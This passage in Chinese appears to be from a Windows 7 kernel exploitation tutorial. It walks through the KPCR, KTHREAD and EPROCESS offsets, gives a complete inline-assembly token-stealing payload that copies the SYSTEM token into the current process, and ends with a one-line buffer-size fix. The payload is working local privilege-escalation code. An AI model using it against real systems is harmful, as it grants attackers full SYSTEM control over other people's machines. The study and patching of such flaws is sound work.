KPCR(Kernel Processor Control Region,内核处理器控制区域)在32位下有FS寄存器指向该结构,在64位下则使用GS寄存器指向,所以我们在32位下只需要FS:[0]
就可以得到KPCR的地址。而KPROCESS是EPROCESS结构体的第一个成员,所以找到KPROCESS就是找到EPROCESS的起始位置
查看KPCR
查看KPRCB
所以CurrentThread
就等于0x120 + 0x004 = 0x124
查看KTHREAD
查看KAPC_STATE
所以EPROCESS
就等于 0x040 + 0x010 = 0x50
二、关于从不同EPROCESS
结构体之间穿梭的流程:
EPROCESS
结构体偏移0x0b8
表示进程的双向链表
双向链表LIST_ENTRY将所有正在运行的进程链接到一条关系线上
如下是LIST_ENTRY
的结构体定义:
Flink指向下一个进程的链表,Blink指向上一个进程的链表
三、关于如何定位到SYSTEM进程的EPROCESS
:
而我们可以使用EPROCESS
表上偏移0xb4
成员UniqueProcessId
来定位SYSTEM进程的EPROCESS
Win7下的SYSTEM的UniqueProcessId
固定为4
所以,我们只需要得到SYSTEM进程的Token即可进行凭证窃取
四、载荷编写
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ;保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; 恢复各个寄存器数据
; Kernel Recovery Stub
xor eax, eax ; 返回状态 SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
0x08 修复方案
将size
设置为sizeof(KernelBuffer)
即可
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
参考链接: